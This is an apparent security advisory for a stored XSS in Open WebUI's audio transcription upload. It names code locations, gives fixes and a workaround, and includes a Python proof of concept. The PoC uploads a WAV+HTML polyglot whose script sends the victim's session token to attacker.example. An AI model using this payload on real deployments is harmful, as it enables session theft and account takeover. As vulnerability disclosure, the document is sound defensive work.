Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):

• backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No
  allowlist, no cross-check against file.content_type.
• backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension
  and sets no Content-Disposition.
• backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body.
• backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
• src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
• backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.

import struct, httpx                                                                                                                                   

data = b'\x80' * 44100                                                                                                                                   
wav  = struct.pack('<4sI4s4sIHHIIHH4sI',
        b'RIFF', 36 + len(data), b'WAVE',                                                                                                                
        b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         
        b'data', len(data)) + data                                                                                                                       
payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'
                    
                                                                                                                                                         
r = httpx.post(                                                                                                                                          
    'https://VICTIM/api/v1/audio/transcriptions',                                                                                                        
    headers={'Authorization': f'Bearer {ATTACKER_JWT}'},                                                                                                 
    files={'file': ('pwn.html', payload, 'audio/wav')},                                                                                                  
)                                                                                                                                                        
fn = r.json()['filename']      # '<uuid>.html'
#Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact

Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force
Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.

Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.